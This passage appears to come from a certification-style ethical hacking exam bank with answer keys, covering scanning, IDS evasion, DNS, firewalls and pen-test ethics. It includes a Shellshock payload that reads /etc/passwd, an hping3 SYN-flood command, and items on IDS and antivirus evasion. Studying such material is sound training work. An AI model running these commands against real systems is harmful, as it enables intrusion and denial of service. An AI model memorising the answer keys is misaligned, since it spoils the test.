Web server constantly locks up and needs rebooting due to
various brute force and buffer overflow attacks but still the IDS
alerts no intrusion whatsoever. Bob becomes suspicious and
views the Firewall logs and he notices huge SSL connections
constantly hitting his Web server. Hackers have been using the
encrypted HTTPS protocol to send exploits to the Web server
and that was the reason the IDS did not detect the intrusions.
How would Bob protect his network from these types of
attacks?
A. Install a proxy server and terminate SSL at the proxy
B. Enable the IDS to filter encrypted HTTPS traffic
C. Install a hardware SSL "accelerator" and terminate SSL at this
layer
D. Enable the Firewall to filter encrypted HTTPS traffic Answer: A
 351

Which port number is NTP?

A. TCP Port 124

B. UDP Port 125
C. UDP Port 123
D. TCP Port 126 Answer: C
 352

The SNMP Read-Only Community String is like a

password. The string is sent along with each SNMP
Get-Request and allows (or denies) access to a device.
Most network vendors ship their equipment with a
default password of "public". This is the so-called
"default public community string". How would you
keep intruders from getting sensitive information
regarding the network devices using SNMP? (Select 2
answers)
A. Enable SNMPv3 which encrypts username/password authentication
B. Use your company name as the public community string replacing the
default 'public'
C. Enable IP filtering to limit access to SNMP device
D. The default configuration provided by device vendors is highly secure and
you don't need to change anything
Answer: AC
 353

During an Idle-Scan of a port on a target computer, an

attacker receives an IPID of 24333 from a zombie. If
the target’s port is closed, what will be the final
response from the zombie?

A. The zombie computer will respond with an IPID of 24334.

B. The zombie computer will respond with an IPID of 24333.
C. The zombie computer will not send a response.
D. The zombie computer will respond with an IPID of 24335.
Answer: A
 354

You want to build a web form that will ask the user for
his/her credit card information. You know that the
GET method is insecure as it would append the card
number to the URL, and that can be cached and
logged by browsers and server log files. How would
you protect the credit card information from this type
of data leakage?

A. Never include sensitive information in a script

B. Use HTTPS SSLv3 to send the data instead of plain HTTPS
C. Replace the GET with POST method when sending data
D. Encrypt the data before you send using GET method
Answer: C
 355

You are examining some traffic logs on a server and

come across some inconsistencies. You find some IP
packets from a computer purporting to be on the
internal network. The packets originate from
[Link] with a TTL of 15. The server replied to
this computer and received a response from
[Link] with a TTL of 21. What can you infer
from this traffic log?

A. The initial traffic from [Link] was being spoofed.

B. The traffic from [Link] is from a Linux computer.
C. The TTL of 21 means that the client computer is on wireless.
D. The client computer at [Link] is a zombie computer.
Answer: A
 356

You are going to send a confidential e-mail to a client.

You need to know if that client forwards the e-mail to
anyone else, because that would violate the non-
disclosure agreement. What can you use to
accomplish this?

A. You can use a split-DNS service to ensure the email is

not forwarded on.
B. A service such as HTTrack would accomplish this.
C. You could use MetaGoofil tracking tool.
D. You can use a service such as ReadNotify tracking tool.
Answer: D
 357

You ping a target IP to check if the host is up. You do

not get a response. You suspect ICMP is blocked at the
firewall. Next you use hping2 tool to ping the target
host and you get a response. Why does the host
respond to hping2 and not ping packet?

A. Ping packets cannot bypass firewalls

B. Hping2 uses TCP instead of ICMP by default
C. Hping2 uses stealth TCP packets to connect
D. You must use ping [Link] switch Answer: B
 358

An attacker is attempting to telnet into a corporation's

system in the DMZ. The attacker doesn't want to get
caught and is spoofing his IP address. After numerous
tries he remains unsuccessful in connecting to the
system. The attacker rechecks that the target system
is actually listening on Port 23 and he verifies it with
both nmap and hping2. He is still unable to connect to
the target system. What could be the reason?

A. The firewall is blocking port 23 to that system

B. He needs to use an automated tool to telnet in
C. He cannot spoof his IP and successfully use TCP
D. He is attacking an operating system that does not reply to
telnet even when open Answer: C
 359

During an Idle-Scan of a port on a target computer, an

attacker receives an IPID of 31400 from a zombie. If
the target’s port is open, what will be the final
response from the zombie?

A. 31400
B. 31402
C. The zombie will not send a response
D. 31401 Answer: B
 360

Trojan horse attacks pose one of the most serious

threats to computer security. There are many
different ways a Trojan can get into a system. Which is
the easiest and most convincing way to infect a
computer?

A. IRC (Internet Relay Chat)

B. Legitimate "shrink-wrapped" software packaged by a
disgruntled employee
C. NetBIOS (File Sharing)
D. Downloading files, games and screensavers from
Internet sites
Answer: B
 361

What type of scan is this?

Open port:
SYN->
<-SYN + ACK
RST->

Closed port:
SYN->
<-RST

A. Stealth Scan
B. Full Scan
C. XMAS Scan
D. FIN Scan Answer: A
 362

SOAP services use which technology to format

information?

A. SATA
B. PCI
C. XML
D. ISDN Answer: C
 363

What type of scan is this?

NMAP –n –sS –P0 –p 80 ***.***.**.**

A. Quick scan
B. Intense scan
C. Stealth scan
D. Comprehensive scan Answer: C
 364

A company has made the decision to host their own

email and basic web services. The administrator
needs to set up the external firewall to limit what
protocols should be allowed to get to the public part
of the company's network. Which ports should the
administrator open? (Choose three.)
A. Port 22
B. Port 23
C. Port 25
D. Port 53
E. Port 80
F. Port 139
G. Port 445
Answer: CDE
 365

Which of the following types of firewall inspects only

header information in network traffic?

A. Packet filter
B. Stateful inspection
C. Circuit-level gateway
D. Application-level gateway Answer: A
 366

Which NMAP feature can a tester implement or adjust

while scanning for open ports to avoid detection by
the network’s IDS?

A. Timing options to slow the speed that the port scan is

conducted
B. Fingerprinting to identify which operating systems are
running on the network
C. ICMP ping sweep to determine which hosts on the network
are not available
D. Traceroute to control the path of the packets sent during the
scan Answer: A
 367

A network security administrator is worried about

potential man-in-the-middle attacks when users
access a corporate web site from their workstations.
Which of the following is the best remediation against
this type of attack?

A. Implementing server-side PKI certificates for all connections

B. Mandating only client-side PKI certificates for all connections
C. Requiring client and server PKI certificates for all connections
D. Requiring strong authentication for all DNS queries
Answer: C
 368

Which NMAP switch does operating system

detection?

A. -OS
B. -sO
C. -sP
D. -O Answer: D
 369

What kind of attack exploits the weaknesses in the

fragment reassembly functionality of TCP/IP?

A. Teardrop
B. SYN flood
C. Smurf attack
D. Ping of death Answer: A
 370

Which is true about proxy firewalls?

A. Proxy firewalls increase the speed and functionality of a network.

B. Firewall proxy servers decentralize all activity for an application.

C. Proxy firewalls block network packets from passing to and from a

protected network.

D. Computers establish a connection with a proxy firewall which

initiates a new network connection for the client.
Answer: D
 371

What does NMAP need to be used as a vulnerability

scanner covering several different protocols like HTTP,
SMTP, FTP, DNS, etc?

A. Metasploit scripting engine

B. Nessus scripting engine
C. NMAP scripting engine
D. SAINT scripting engine Answer: C
 372

Consider this output from a hacker's machine targeting another

machine with the IP address of [Link]:

[ATTEMPT] target [Link] – login “root” – pass “a” 1 of 20

[ATTEMPT] target [Link] – login “root” – pass “123” 2 of 20
[ATTEMPT] target [Link] – login “admin” – pass “a” 3 of 20
[ATTEMPT] target [Link] – login “admin” – pass “123” 4 of 20
[ATTEMPT] target [Link] – login “guest” – pass “a” 5 of 20
[ATTEMPT] target [Link] – login “guest” – pass “123” 6 of 20
[ATTEMPT] target [Link] – login “” – pass “a” 7 of 20
[ATTEMPT] target [Link] – login “” – pass “123” 8 of 20

Which is most likely taking place here?

A. Ping sweep of the [Link] network

B. Remote service brute force attempt
C. Port scan of [Link]
D. Denial of service attack on [Link] Answer: B
 373

Your company has three security zones set up:

Internet – (Remote network = [Link]/24)
DMZ – ([Link]/24)
Intranet – ([Link]/24)
You want to configure remote desktop access from a
fixed IP on the remote network to a remote desktop
server in the DMZ. Which rule would best fit this
requirement?
A. Permit [Link]/24 [Link]/24 RDP 3389
B. Permit [Link] [Link] RDP 3389
C. Permit [Link] [Link]/24 RDP 3389
D. Permit [Link]/24 [Link] RDP 3389 Answer: B
 374

A recently hired network security associate at a local

bank was given the responsibility to perform daily
scans of the internal network to look for unauthorized
devices. The employee decides to write a script that
will scan the network for unauthorized devices every
morning at 5:00 am. Which of the following
programming languages would most likely be used?

A. PHP
B. C#
C. Python
D. [Link] Answer: C
 375

To send a PGP encrypted message, which piece of

information from the recipient must the sender have
before encrypting the message?

A. Recipient's private key

B. Recipient's public key
C. Master encryption key
D. Sender's public key Answer: B
 376

An attacker has been successfully modifying the

purchase price of items purchased on the company's
web site. The security administrators verify the web
server and Oracle database have not been
compromised directly. They have also verified the
Intrusion Detection System (IDS) logs and found no
attacks that could have caused this. What is the most
likely way the attacker has been able to modify the
purchase price?

A. By using SQL injection

B. By changing hidden form values
C. By using cross site scripting
D. By utilizing a buffer overflow attack Answer: B
 377

A hacker is attempting to see which ports have been

left open on a network. Which NMAP switch would
the hacker use?

A. -sO
B. -sP
C. -sS
D. -sU Answer: C
 378

Which of the following is a hashing algorithm?

A. MD5
B. PGP
C. DES
D. ROT13 Answer: A
 379

What port number is involved with sending log

messages?

A. UDP 123
B. UDP 541
C. UDP 514
D. UDP 415 Answer: C
 380

Bob wants to search for a website title of "intranet"

with part of the URL containing the word "intranet"
and the words "human resources" somewhere in the
webpage.

What Google search will accomplish this?

A. related:intranet allinurl:intranet:"human resources"

B. cache:"human resources" inurl:intranet(SharePoint)
C. intitle:intranet inurl:intranet+intext:"human resources"
D. site:"human resources"+intext:intranet intitle:intranet
Answer: C
 381

Data is sent over the network as clear text

(unencrypted) when Basic Authentication is
configured on Web Servers.

A. true
B. false

Answer: A
 382

Why do attackers use proxy servers?

A. To ensure the exploits used in the attacks always flip

reverse vectors
B. Faster bandwidth performance and increase in attack
speed
C. Interrupt the remote victim's network traffic and
reroute the packets to attackers machine
D. To hide the source IP address so that an attacker can
hack without any legal consequences Answer: D
 383

Which of the following settings enables Nessus to

detect when it is sending too many packets and the
network pipe is approaching capacity?

A. Netstat WMI Scan

B. Silent Dependencies
C. Consider unscanned ports as closed
D. Reduce parallel connections on congestion Answer: D
 384

Which results will be returned with the following

Google search query?
site:[Link] -site:[Link] accounting

A. Results matching all words in the query

B. Results matching “accounting” in domain [Link] but not on the site

[Link]

C. Results from matches on the site [Link] that are in the

domain [Link] but do not include the word accounting

D. Results for matches on [Link] and [Link] that include

the word “accounting”
Answer: B
 385

What happens when you do a TCP XMAS scan against

an open port on a remote system?

A. The port will send an RST

B. The port will send an ACK
C. The port will send a SYN
D. The port will ignore the packet Answer: D
 386

env x=`(){ :;};echo exploit` bash -c 'cat /etc/passwd'

What is the Shellshock bash vulnerability attempting

to do on an vulnerable Linux host?

A. Changes all passwords in passwd

B. Display passwd content to prompt
C. Removes the passwd file
D. Add new user to the passwd file Answer: B
 387

What file does an attacker need to modify if he wants

you to go to a phishing site when you type
[Link] into your web-browser?

A. Networks
B. [Link]
C. Sudoers
D. Hosts Answer: D
 388

What should you do if a client prospect wants to see

reports from your previous pen-tests?

A. Share full reports, not redacted

B. Share full reports with redactions
C. Share reports, after NDA is signed
D. Decline, but provide references Answer: D
 389

Your IP address is [Link]. Which nmap

command will let you enumerate all machines on the
same network quickly?

A. Nmap –T4 –q [Link]/24

B. Nmap –T4 –O [Link]/24
C. Nmap –T4 –F [Link]/24
D. Nmap –T4 –r [Link]/24 Answer: C
 390

Which software testing technique sends random data

to a program in an attempt to crash it?

A. Randomizing
B. Fuzzing
C. Bounding
D. Mutating Answer: B
 391

After being hired to do a pen-test, you and the

customer fill out a document that describes all the
details of the test. This document protects both the
customer as well as your legal liabilities as the tester.
Which document is being described?

A. Project scope
B. Service Level Agreement
C. Terms of engagement
D. Non-Disclosure Agreement Answer: C
 392

What is it called when you have one DNS server on

your LAN for employees, and another DNS server in
your DMZ for outside access?

A. DNSSEC
B. DNS Scheme
C. DynDNS
D. Split DNS Answer: D
 393

What should you do if during a pen-test you discover

information on the network that implies the client is
involved with human trafficking?

A. Copy the data to removable media and keep it in case you

need it
B. Ignore the data and continue the assessment until
completed as agreed
C. Confront the client in a respectful manner and ask her about
the data
D. Immediately stop work and contact the proper legal
authorities
E. Go all “Rambo” on the client and free the prisoners
immediately.
Answer: D
 394

Which best describes white-box testing?

A. The internal operation of a system is only partly

accessible to the tester
B. The internal operation of a system is completely
known to the tester
C. Only the internal operation of a system is known to
the tester
D. Only the external operation of a system is accessible
to the tester
Answer: B
 395

Which best describes gray-box testing?

A. The internal operation of a system is only partly

accessible to the tester
B. The internal operation of a system is completely
known to the tester
C. Only the internal operation of a system is known to
the tester
D. Only the external operation of a system is accessible
to the tester Answer: A
 396

Which best describes black-box testing?

A. The internal operation of a system is only partly

accessible to the tester
B. The internal operation of a system is completely
known to the tester
C. Only the internal operation of a system is known to
the tester
D. Only the external operation of a system is accessible
to the tester Answer: D
 397

Which is the first step in Information Gathering, the

step that tells you what the “landscape” looks like?

A. Network mapping
B. Footprinting
C. Gaining access
D. Escalating privileges Answer: B
 398

What does this command do?

> NMAP -sn [Link]-215

In previous releases of Nmap, -sn was known as -sP

A. Port scan
B. Ping scan
C. Trace sweep
D. Operating system detection Answer: B
 399

Which nmap script will scan a web server to let you

know which HTTP Methods are available, like GET,
POST, HEAD, PUT, DELETE, etc?

A. http-headers
[Link]
B. http-methods /[Link]
C. http enum
D. http-git Answer: B
 400

Which would be the best reason to do an un-

announced penetration test?

A. Network security would be in a “best state”

posture
B. It is best to catch critical infrastructure unpatched
C. The tester will have an actual security posture
visibility of the target network
D. The tester could not provide an honest analysis
Answer: C
 401

When doing a pen-test for a new client, which should

be the first step?

A. Scanning
B. Enumeration
C. Reconnaissance
D. Escalation Answer: C
 402

Which of these allows your NIC to send all traffic it

receives to the CPU, instead of only sending traffic the
NIC was intended to receive?

A. WEM
B. Multi-cast mode
C. Promiscuous mode
D. Port forwarding Answer: C
 403

You’re hired by an admin to do a penetration test on

his company. During testing you find child
pornography on the admin’s computer. What should
you do?

A. Say nothing and continue with the security testing.

B. Stop work immediately and contact the authorities.
C. Delete the pornography, say nothing, and continue
security testing.
D. Bring the discovery to the company’s human resource
department. Answer: B
 404

You find job listings for network administrators at your

competitor’s company. How can reviewing this listing
help you footprint their company?

A. To learn about the IP range used by the target network

B. To identify the number of employees working for the company

C. To test the limits of the corporate security policy enforced in the company

D. To learn about the operating systems, services and applications used on the
network Answer: D
 405

Of those listed, choose the most common method of

automatically detecting host intrusions.
Programs such as Tripwire (and others) will check the checksums/hash-values of your critical
systems files at shutdown and at bootup. If a checksum has changed, it is possible that an
intruder has altered a system file.

A. File checksums
B. System CPU utilization
C. The host’s network interface usage
D. Network traffic analysis Answer: A
 406

Your users can’t reach internet sites for some reason,

so you try pinging the sites and they do return a reply.
You try putting an IP address into your browser and
the sites display properly, but you can’t see the sites
when you use their URL’s. What is the problem?

A. Traffic is blocked on TCP port 80

B. Traffic is blocked on UDP port 80
C. Traffic is blocked on UDP port 53
D. Traffic is blocked on TCP port 54 Answer: C
 407

While trying to evade the IDS, which command would

scan common ports with the least amount of “noise”?

A. Nmap –sT –O –T0

B. Nmap –A –Pn
C. Nmap –A –host-timeout 99 –T1
D. Nmap –sP –p-65535 –T5 Answer: A
 408

Which type of hacker sometimes works offensively,

and sometimes works defensively?

A. Suicide hacker
B. Black hat
C. Gray hat
D. White hat Answer: C
 409

While scanning a network, which step comes

immediately before using a Vulnerability Scanner?
The order of scanning would be:
1) Check for live systems (ping sweeps, etc)
2) Check for open ports (this tells you the likely services listening on the target)
3) Banner grabbing (tells you the OS)
4) Vulnerability scanning (looks for vulns & flaws on the target)

It helps to know the OS before doing a vulnerability scan because entering the target’s
Operating System will help tune the vuln scanner so it can find more information and run scans
relevant to that particular OS.

A. Firewall detection
B. OS detection
C. Check to see if the remote host is alive
D. TCP / UDP port scanning Answer: B
 410

Which of these will do an nmap Xmas scan?

A. nmap –sV [Link]

B. nmap –sX [Link]
C. nmap –sA [Link]
D. nmap –sP [Link] Answer: B
 411

What restriction is in place with White Box testing?

A. Only the external operation of a system is accessible to the

tester.
B. Only the internal operation of a system is known to the
tester.
C. The internal operation of a system is completely known to
the tester.
D. The internal operation of a system is only partly accessible
to the tester. Answer: C
 412

What is the collection of overt and publicly available

information known as?

Open-source intelligence (OSINT) is data collected from publicly available sources to be used in
an intelligence context. In the intelligence community, the term "open" refers to overt, publicly
available sources (as opposed to covert or clandestine sources).

A. Real intelligence
B. Human intelligence
C. Open-source intelligence
D. Social intelligence Answer: C
 413

Which of these are a set of DNS add-ons that can

provide digitally signed DNS replies to your queries, so
that you know the returned answers are authentic?
This is in order to prevent things like DNS poisoning
and spoofing.

A. Zone transfer
B. Resource records
C. Split-DNS
D. DNSSEC Answer: D
 414

Which is the best way to find out which ports are

open on your devices?

A. Physically go to each device.

B. Telnet to every port on each device.
C. Scan devices with Nmap.
D. Scan devices with MBSA Answer: C
 415

Which Nmap option would let you do a very fast scan,

even though it might increase the chances of your
activities being detected?

A. -O
B. -A
C. -T0
D. -T5 Answer: D
 416

Which file would you modify on your victim’s machine

if you wanted to send them to a malicious phishing
site every time they typed “[Link]” into
their browser?

A. Sudoers
B. Hosts
C. Networks
D. [Link] Answer: B
 417

Which is the most reliable type of TCP scan?

A. Half-open scan
B. Xmas scan
C. Null scan
D. TCP Connect / Full Open scan Answer: D
 418

Which of these would you use to prevent DNS cache

poisoning?

A. The use of security agents in client computers

B. The use of DNSSEC
C. The use of double-factor authentication
D. Client awareness Answer: B
 419

You want to use Metasploit to exploit a server and

then pivot to a LAN. How would you pivot using
Metasploit?

A. Issue the pivot exploit and set the meterpreter.

B. Reconfigure the network settings in the meterpreter.
C. Set the payload to propagate through the meterpreter.
D. Create a route statement in the meterpreter. Answer: D
 420

Which is the best way to find vulnerabilities on a

Windows-based computer?

A. Check [Link] for the latest list of CVE findings

B. Use the built-in Windows Update tool
C. Create a disk image of a clean Windows installation
D. Use a scan tool like Nessus Answer: D
 421

What is one thing a tester can do to ensure that the

software is trusted and is not changing or tampering
with critical data on the back end of a system it is
loaded on?

A. System security and architecture review

B. Secure coding principles
C. Proper testing
D. Analysis of interrupts within the software Answer: C
 422

Which method can provide a better return on IT

security investment and provide a thorough and
comprehensive assessment of organizational security
covering policy, procedure design, and
implementation?

A. Vulnerability scanning
B. Access control list reviews
C. Penetration testing
D. Social engineering Answer: C
 423

A computer technician is using a new version of a

word-processing software package when it is
discovered that a special sequence of characters
causes the entire computer to crash. The technician
researches the bug and discovers that no one else
experienced the problem. What is the appropriate
next step?

A. Notify the vendor of the bug and do not disclose it until the
vendor gets a chance to issue a fix
B. Find an underground bulletin board and attempt to sell the book
to the highest bidder
C. Create a document that will crash the computer when opened and
send it to friends
D. Ignore the problem completely and let someone else deal with it
Answer: A
 424

Which cipher encrypts the plaintext digit (bit or byte)

one by one?

Stream ciphers encrypt data one bit or byte at a time as the data is being sent. A block cipher
grabs one large block of data, encrypts it, sends it, then grabs the next block and so on.

A. Classical cipher
B. Block cipher
C. Modern cipher
D. Stream cipher Answer: D
 425

Fire walk (firewall probing) has just completed the second

phase (the scanning phase) and a technician receives the
output shown below. What conclusions can be drawn
based on the scan results?
TCP port 21 – no response
TCP port 22 – no response
TCP ports 23 – time to live exceeded
A. The lack of response from port 21 and 22 indicate that those
services are not running on the destination server
B. The firewall itself is blocking ports 21 through 23 and a
service is listening on port 23 of the target host
C. The scan port on 23 was able to make a connection to the
destination host prompting the firewall to respond with a TTL
error
D. The scan on port 23 passed through the filtering device. This
indicates that port 23 was not blocked at the firewall
Answer: D
 426

WPA2 uses AES for wireless data encryption at which

of the following encryption levels?

A. 128 bit and TKIP

B. 64 bit and CCMP
C. 128 bit and CRC
D. 128 bit and CCMP Answer: D
 427

How can you exploit MS SQL 2000 that is running

under a Local System account with the default
credentials?

A. Using the Metasploit psexec module setting the SA / Admin credential

B. Invoking the stored procedure xp_shell to spawn a Windows command shell

C. Invoking the stored procedure cmd_shell to spawn a Windows command

shell

D. Invoking the stored procedure xp_cmdshell to spawn a Windows command

shell Answer: D
 428

Which type of scan measures a person's external

features through a digital video camera?

A. Facial recognition scan

B. Signature kinetics scan
C. Iris scan
D. Retinal scan Answer: A
 429

You are concerned that the existing security controls

have not been designed properly. Currently, the
administrator is responsible for approving and issuing
proximity card access to the server room, as well as
reviewing the electronic access logs on a weekly basis.

Which of the following is an issue with the situation?

A. Undue influence
B. Lack of experience
C. Segregation of duties
D. Inadequate disaster recovery plan
Answer: C
 430

An NMAP scan of a server shows port 69 is open.

What risk could this pose?

Port 69 is for TFTP (the UDP version of FTP). TFTP lacks any form of security and allows anyone
access to upload and download files.

A. Cleartext login
B. Weak SSL version
C. Web portal data leak
D. Unauthenticated access Answer: D
 431

Which security control role does encryption meet?

A. Preventative
B. Defensive
C. Detective
D. Offensive Answer: A
 432

You run daily Nessus scans on your internal network as part of

your vulnerability management program. In your DMZ you have
web, mail, and DNS servers, but you think that your firewall may
be blocking Nessus from scanning the servers in the DMZ.
Which of these solutions would give Nessus the same “visibility”
of the DMZ as that of the outside world?
A. Run Nessus from a server that resides in the DMZ so that no
firewalls, IPS, or other security products interfere with the
scan.
B. Have the firewall rules modified so that the Nessus server on
the internal network is able to scan the hosts in the DMZ.
C. Run Nessus from a location on the internet which is separate
from the company’s network so that no firewalls, IPS, or
other security products interfere with the scan.
D. Leave the Nessus server in the internal network but add a
second network card so that it can be connected to a switch
in the DMZ. This will allow the Nessus server to have access
to the internal and DMZ networks. Answer: B
 433

Hacker Joe gains access to your DNS server and

redirects queries for [Link] to his own IP
address. Now when your employees try to visit
Amazon’s website they are redirected to Hacker Joe’s
machine. What is the name for this attack?

A. ARP poisoning
B. Smurf attack
C. MAC flooding
D. DNS spoofing Answer: D
 434

If you were doing a pen-test for BigCorp and wanted

to enumerate the network, you’d first attempt a zone
transfer. If you were on a Windows machine, you’d
use the nslookup command. Assuming the DNS server
is at [Link] and the domain name is
[Link], what command would you type in the
nslookup shell to achieve the zone transfer?
In NSLOOKUP, the -d switch “dumps” all the records for requested zone (domain).

A. lserver [Link] -t all

B. ls -d [Link]
C. list server=[Link] type=all
D. list domain=[Link] type=zone Answer: B
 435

Hacker Joe got a meterpreter session on one of your

company computers. Checking his current SID he sees
that it is S-1-5-21-2501610842-734108683-
3373192635-501. What needs to happen before he
has full admin access?
An SID ending in 501 is the guest account. Admin ends in 500. To see the SID’s and user accounts
on your Windows machine, from a command prompt type “wmic useraccount get name,sid”

A. He needs to gain physical access.

B. He already has admin privileges, as shown by the
“501” at the end of the SID.
C. He needs to disable antivirus protection.
D. He must perform privilege escalation. Answer: D
 436

Before a penetration tester can start any hacking

activities, it’s most important for her to do which of
these?

A. Creating action plan

B. Finding new exploits which can be used during the
pentest
C. Preparing a list of targeted systems
D. Ensuring that her activity will be authorized and she
will have proper agreement with owners of the
targeted system Answer: D
 437

Google hacking involves creating a search string with

specific operators to search for vulnerable systems.
For example: allintitle:root passwd. During which
phase of a penetration test would you employ this
technique?

A. Scanning and enumeration

B. Reconnaissance
C. Gaining access
D. Maintaining access Answer: B
 438

During which hacking process do you surf the internet

looking for information about your target company?

A. Scanning
B. Enumerating
C. Footprinting
D. System Hacking Answer: C
 439

In order to make convincing phishing e-mails, it helps

to know about the company you are going to
impersonate. The time you spend on researching this
information is called what?

A. Exploration
B. Reconnaissance
C. Investigation
D. Enumeration Answer: B
 440

Which type of scan is least likely to trigger a network

IDS?

This one is tricky. The whole point of a SYN scan, otherwise known as a Stealth scan or half-open
scan, is that it is “stealthier” in that it does not leave a trace of the connection in the target’s log
files. However, modern Next-Generation firewalls and IDPS devices are very familiar with these
types of scans, and they will generate an alert. A TCP connect scan on the other hand, mimicks
normal network traffic and is less likely to be flagged. They do leave evidence in the target’s log
file, but at least they didn’t get flagged as suspicious by the IDS.

A. TCP ACK scan

B. TCP connect scan
C. TCP SYN scan
D. TCP FIN scan Answer: B
 441

While pen-testing an HTTPS web application, you

configure your browser to use BurpSuite as your proxy.
Unfortunately, you immediately get certificate errors
when trying to visit the website. Which of these should
you do to remove this certificate error for all websites,
and also what would be the security risk by doing this?
To learn more: [Link]

A. Configure your browser to ignore all SSL/TLS certificate warnings.

This would make your HTTPS sessions vulnerable to ARP spoofing
on the local LAN.
B. Start sslstrip and redirect port 443 to its listening port. This
ensures that plaintext sessions are not upgraded to SSL/TLS.
C. Force your browser to connect over port 80. Data would be
transmitted in cleartext, removing the need for certificates.
D. Add the BurpSuite certificate as a trusted root CA for your
browser/OS. This would expose you to man-in-the-middle attacks
from anyone possessing the same certificate. Answer: D
 442

What is an AAAA DNS record for?

A. Address prefix record

B. IPv6 address resolution record
C. Address database record
D. Authorization, Authentication, and Auditing record
Answer: B
 443

Which type of hacker has no training and only uses

basic techniques or tools they found on the internet?

A. White-Hat Hackers
B. Gray-Hat Hackers
C. Black-Hat Hackers
D. Script Kiddies Answer: D
 444

Which scanning technique will use a spoofed IP

address and a SYN flag to generate port responses?

A. FIN
B. SYN
C. IDLE (side-channel)
D. XMAS Answer: C
 445

Which Metasploit tools can help you to evade anti-

virus systems?

A. msfd
B. msfpayload
C. msfencode
D. msfcli Answer: C
 446

Which tool would you be most likely to use to scan a

website and look for common misconfigurations and
outdated software versions?

A. Nmap
B. Metasploit
C. Nikto
D. Armitage Answer: C
 447

You have been sent a suspicious e-mail message and

want to see who sent it. After looking at the header
you see that it was received from an unknown sender
at the IP address [Link]. What web site will
allow you to find out more information about an IP
address, including who owns that IP?
ARIN is the American Registry for Internet Numbers and can tell you who owns a particular IP
address. The other three are domain registrars and can tell you who owns a domain name.

A. [Link]
B. [Link]
C. [Link]
D. [Link] Answer: B
 448

While performing an Xmas scan, which of these would

indicate that the target’s port is closed?

A. SYN
B. ACK
C. RST
D. No return response Answer: C
 449

You need to scan all the hosts on a /16 network to see

who has TCP port 80 open. Assuming you don’t need
to be stealthy, which of these would be the fastest
way to do this?

The --open switch tells nmap to only show open (or possibly open) ports. This hides the closed &
filtered ports, which speeds things up slightly.

A. nmap -s 80 -sU -T5 [Link]/16

B. nmap -sn -sF [Link]/16 80
C. nmap -p 80 -n -T4 --open [Link]/16
D. nmap -p 80 --max -Pn [Link]/16
Answer: C
 450

Which of these would be the best choice to surf the

internet anonymously?

A. Use shared WiFi

B. Use public VPN
C. Use SSL sites when entering personal information
D. Use Tor network with multi-node Answer: D
 451

What does this command do?

hping3 -c 65535 -i u1 -S -p 80 --rand-source [Link]

A. Ping Of Death
B. Idle scan of TCP port 80
C. Port scan of all UDP ports
D. SYN flood Answer: D
 452

Which of these is NOT true about vulnerability

scanners?

A. Provides information on how to mitigate

discovered vulnerabilities
B. Provides information on targets for penetration
testing
C. Provides the environment to be able to safely
penetrate vulnerable systems
D. Checks compliance with host application usage
and security policies Answer: C
 453

Nmap reports that one of your hosts at [Link]

has an IP ID sequence of “incremental”. Because of
this finding, you run this command:
nmap -Pn -p -sI [Link] [Link]

What does the “-sI” (that’s a capital “i” ) switch do

with Nmap?

A. Conducts an ICMP scan

B. Conducts an IDLE scan
C. Conducts a stealth scan
D. Conducts a silent scan
Answer: B
 454

What does the Nmap -oX flag do?

A. Performs an eXpress scan

B. Outputs the results in XML format to a file
C. Outputs the results in truncated format to the
screen
D. Performs an Xmas scan
Answer: B
 456

When using Wireshark to acquire packet capture on a

network, which device would enable the capture of all
traffic on the wire?

A. Network tap
B. Layer 3 switch
C. Network bridge
D. Application firewall Answer: A
 457

SSL has been seen as the solution to a lot of common

security problems. Administrator will often make use
of SSL to encrypt communications from point A to
point B. Why do you think this could be a bad idea if
there is an Intrusion Detection System deployed to
monitor the traffic between point A and B?
A. SSL is redundant if you already have IDS's in place

B. SSL will trigger rules at regular interval and force the administrator to turn
them off

C. SSL will slow down the IDS while it is breaking the encryption to see the
packet content

D. SSL will hide the content of the packets and Intrusion Detection Systems will
not be able to detect them Answer: D
 458

Which TWO types of detection methods are

employed by Network Intrusion Detection Systems
(NIDS)?

A. Signature
B. Anomaly
C. Passive
D. Reactive Answer: AB
 459

Which of the following problems can be solved by

using Wireshark?

A. Tracking version changes of source code

B. Checking creation dates on all webpages on a server
C. Resetting the administrator password on multiple systems
D. Troubleshooting communication resets between two systems
Answer: D
 460

Your IDS generated an alert because there was a lot of

traffic hitting your SQL server. You investigate the
server, but there is no indication of an attack and
everything looks fine. How then should you classify
the IDS alert?

A. True negatives
B. False negatives
C. True positives
D. False positives Answer: D
 461

You logged in to your corporate firewall to do some

work, but the IDS logged your activity as an attack.
How would you categorize the alert?

A. False positive
B. False negative
C. True positive
D. True negative Answer: A
 462

What hardware requirement should your IDS, IPS, or

proxy server have as a best-practice?

A. Fast processor to help with network traffic analysis

B. They should be dual-homed
C. Similar RAM requirements
D. Fast network interface cards Answer: B
 463

A hacker has been attacking your network. You find

that your IDS wasn’t configured correctly and couldn’t
notify you about the attacks. Which type of alert is
the IDS giving?

A. True positives
B. True negatives
C. False positives
D. False negatives Answer: D
 464

A penetration tester is attempting to scan an internal

corporate network from the internet without alerting
the border sensor. Which is the most efficient
technique that the tester should consider using?

A. Spoofing an IP address
B. Tunneling scan over SSH
C. Tunneling over high port numbers
D. Scanning using fragmented IP packets Answer: B
 465

This IDS defeating technique works by splitting a

datagram (or packet) into a continuous stream of multiple
(small) fragments and the IDS will not spot the true
nature of the fully assembled datagram. The datagram is
not reassembled until it reaches its final destination. It
would be a processor-intensive task for IDS to reassemble
all fragments itself, and on a busy system the packet will
slip through the IDS onto the network.
What is this technique called?

A. IP Routing or Packet Dropping

B. IDS Spoofing or Session Assembly
C. IP Fragmentation or Session Splicing
D. IP Splicing or Packet Reassembly Answer: C
 466

In keeping with the best practices of layered security,

where are the best places to place intrusion
detection/intrusion prevention systems? (Choose
two.)

A. HID/HIP (Host-based Intrusion Detection/Host-based Intrusion Prevention)

B. NID/NIP (Node-based Intrusion Detection/Node-based Intrusion Prevention)

C. NID/NIP (Network-based Intrusion Detection/Network-based Intrusion

Prevention)

D. CID/CIP (Computer-based Intrusion Detection/Computer-based Intrusion

Prevention)
Answer: AC
 467

Which FOUR of these techniques could you use to

evade an IDS, or at least protect yourself, during a
port scan?

A. Use fragmented IP packets

B. Spoof your IP address when launching attacks and sniff
responses from the server
C. Overload the IDS with Junk traffic to mask your scan
D. Use source routing (if possible)
E. Connect to proxy servers or compromised Trojan’d
machines to launch attacks
Answer: ABDE
 468

Which of these will recognize attempts to penetrate

the network?

A. Router
B. Firewall
C. Proxy
D. Intrusion Detection System Answer: D
 469

Which of these would be the best way to evade the

NIDS?

A. Encryption
B. Out of band signaling
C. Protocol Isolation
D. Alternate Data Streams Answer: A
 470

